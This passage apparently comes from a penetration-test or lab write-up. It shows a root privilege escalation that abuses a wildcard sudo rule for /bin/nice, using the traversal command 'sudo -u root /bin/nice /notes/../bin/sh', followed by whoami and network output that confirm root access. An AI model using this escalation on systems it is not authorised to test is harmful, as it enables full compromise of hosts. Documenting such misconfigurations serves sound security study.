sudo nice
The webadmin
user has sudo privileges to execute the /bin/nice /notes/*
command as anyone.
Additionally, it has been identified that nice could be leveraged for code execution.
Given that there is a wildcard bit in the command, I could easily bypass it with the directory traversal technique
webadmin@serv:~$ sudo -u root /bin/nice /notes/../bin/sh
# whoami
root
# hostname
serv
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:9e:ea:70 brd ff:ff:ff:ff:ff:ff
inet 192.168.120.101/24 brd 192.168.120.255 scope global ens192
valid_lft forever preferred_lft forever
System level compromise